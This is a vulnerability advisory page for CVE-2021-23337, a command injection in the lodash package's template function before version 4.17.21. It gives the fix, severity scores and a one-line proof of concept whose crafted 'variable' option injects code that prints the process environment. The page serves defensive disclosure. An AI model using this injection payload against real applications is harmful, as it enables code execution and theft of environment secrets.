HIGH

Q Search by package name or CVE

Command Injection

Affecting lodash package, versions <4.17.21

INTRODUCED: 17 NOV 2020 CVE-2021-23337 ? CWE-78 ? (FIRST ADDED BY SNYK)   Share ⌄

How to fix?

Upgrade `lodash` to version 4.17.21 or higher.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Command Injection via `template` .

PoC

```
var _ = require('lodash');

_.template('', { variable: '){console.log(process.env)}; with(obj' })()
```

References

- GitHub Commit
- Vulnerable Code

Snyk CVSS

Exploit Maturity	Proof of concept ?
Attack Complexity	Low ?
Privileges Required	(HIGH) ?
Confidentiality	(HIGH) ?
Integrity	(HIGH) ?
Availability	(HIGH) ?

See more

> NVD   7.2 HIGH

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk ID	SNYK-JS-LODASH-1040724
Published	15 Feb 2021
Disclosed	17 Nov 2020
Credit	Marc Hassan

Report a new vulnerability   Found a mistake?

PRODUCT

Snyk Open Source

Snyk Code

Snyk Container

Snyk Infrastructure as Code

Test with Github

Test with CLI

RESOURCES

Vulnerability DB

Documentation

Disclosed Vulnerabilities

Blog

FAQs

FIND US ONLINE

TRACK OUR DEVELOPMENT

DevSecCon

Join the >> community